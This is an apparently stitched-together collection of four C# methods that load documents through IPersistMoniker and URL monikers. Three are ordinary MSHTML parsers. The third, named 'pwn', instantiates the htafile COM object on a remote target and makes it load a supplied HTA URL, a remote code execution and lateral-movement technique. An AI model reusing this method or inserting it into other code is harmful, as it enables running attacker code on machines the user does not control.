public static void LoadUrl(ref HTMLDocument doc, String url, bool CreateSite) { if (doc == null) { throw new HtmlEditorException("Null document passed to LoadDocument"); } if (CreateSite) { //set client site to DownloadOnlySite, to suppress scripts DownloadOnlySite ds = new DownloadOnlySite(); IOleObject ob = (IOleObject)doc; ob.SetClientSite(ds); } IPersistMoniker persistMoniker = (IPersistMoniker)doc; IMoniker moniker = null; int iResult = win32.CreateURLMoniker(null, url, out moniker); IBindCtx bindContext = null; iResult = win32.CreateBindCtx(0, out bindContext); iResult = persistMoniker.Load(0, moniker, bindContext, constants.STGM_READ); persistMoniker = null; bindContext = null; moniker = null; }
public void Render(string absoluteUri) { /**/ ReadyState = ReadyState.Uninitialized; _absoluteUri = absoluteUri; IMoniker moniker = null; WinApis.CreateURLMonikerEx(null, absoluteUri, out moniker, 1); if (moniker == null) { //MessageBox.Show("Moniker is NULL."); return; } IBindCtx bindContext = null; WinApis.CreateBindCtx(0, out bindContext); if (bindContext == null) { //MessageBox.Show("Binding context is NULL."); return; } IPersistMoniker persistMoniker = (IPersistMoniker)MSHTML; persistMoniker.Load(0, moniker, bindContext, 0); _parseStartTime = DateTime.Now; _parse.Set(); }
public void pwn(string target, string htaUrl) { try { IMoniker moniker; CreateURLMonikerEx(IntPtr.Zero, htaUrl, out moniker, 0); MULTI_QI[] mqi = new MULTI_QI[1]; mqi[0].pIID = IID_IUnknownPtr; COSERVERINFO info = new COSERVERINFO(); info.pwszName = target; info.dwReserved1 = 0; info.dwReserved2 = 0; info.pAuthInfo = IntPtr.Zero; CoCreateInstanceEx(htafile, null, CLSCTX.CLSCTX_REMOTE_SERVER, info, 1, mqi); if (mqi[0].hr != 0) { Console.WriteLine("Creating htafile COM object failed on target"); return; } IPersistMoniker iPersMon = (IPersistMoniker)mqi[0].pItf; FakeObject fake = new FakeObject(moniker); iPersMon.Load(0, fake, null, 0); } catch (Exception e) { Console.WriteLine("Exception: " + e); } }
/// <summary> /// Only public method which starts the parsing process /// When parsing is done, we receive a DISPID_READYSTATE dispid /// in IPropertyNotifySink.OnChanged implementation /// </summary> /// <param name="Url"></param> /// <param name="cookie"></param> public void StartParsing(string Url, string cookie) { IntPtr pUsername = IntPtr.Zero; IntPtr pPassword = IntPtr.Zero; try { if (string.IsNullOrEmpty(Url)) { throw new ApplicationException("Url must have a valid value!"); } //Create a new MSHTML, throws exception if fails Type htmldoctype = Type.GetTypeFromCLSID(Iid_Clsids.CLSID_HTMLDocument, true); //Using Activator inplace of CoCreateInstance, returns IUnknown //which we cast to a IHtmlDocument2 interface m_pMSHTML = (IHTMLDocument2)System.Activator.CreateInstance(htmldoctype); //Get the IOleObject m_WBOleObject = (IOleObject)m_pMSHTML; //Set client site int iret = m_WBOleObject.SetClientSite(this); //Connect for IPropertyNotifySink m_WBOleControl = (IOleControl)m_pMSHTML; m_WBOleControl.OnAmbientPropertyChange(HTMLDispIDs.DISPID_AMBIENT_DLCONTROL); //Get connectionpointcontainer IConnectionPointContainer cpCont = (IConnectionPointContainer)m_pMSHTML; cpCont.FindConnectionPoint(ref Iid_Clsids.IID_IPropertyNotifySink, out m_WBConnectionPoint); //Advice m_WBConnectionPoint.Advise(this, out m_dwCookie); m_Done = false; m_Url = Url; if (!string.IsNullOrEmpty(cookie)) { m_pMSHTML.cookie = cookie; } //Set up username and password if provided if (!string.IsNullOrEmpty(m_Username)) { pUsername = Marshal.StringToCoTaskMemAnsi(m_Username); if (pUsername != IntPtr.Zero) { WinApis.InternetSetOption(IntPtr.Zero, InternetSetOptionFlags.INTERNET_OPTION_USERNAME, pUsername, m_Username.Length); } } if (!string.IsNullOrEmpty(m_Password)) { pPassword = Marshal.StringToCoTaskMemAnsi(m_Password); if (pPassword != IntPtr.Zero) { WinApis.InternetSetOption(IntPtr.Zero, InternetSetOptionFlags.INTERNET_OPTION_PASSWORD, pPassword, m_Password.Length); } } //Load IPersistMoniker persistMoniker = (IPersistMoniker)m_pMSHTML; IMoniker moniker = null; WinApis.CreateURLMoniker(null, m_Url, out moniker); if (moniker == null) { return; } IBindCtx bindContext = null; WinApis.CreateBindCtx((uint)0, out bindContext); if (bindContext == null) { return; } persistMoniker.Load(1, moniker, bindContext, 0); } catch (Exception) { throw; } finally { if (pUsername != IntPtr.Zero) { Marshal.FreeCoTaskMem(pUsername); } if (pPassword != IntPtr.Zero) { Marshal.FreeCoTaskMem(pPassword); } } }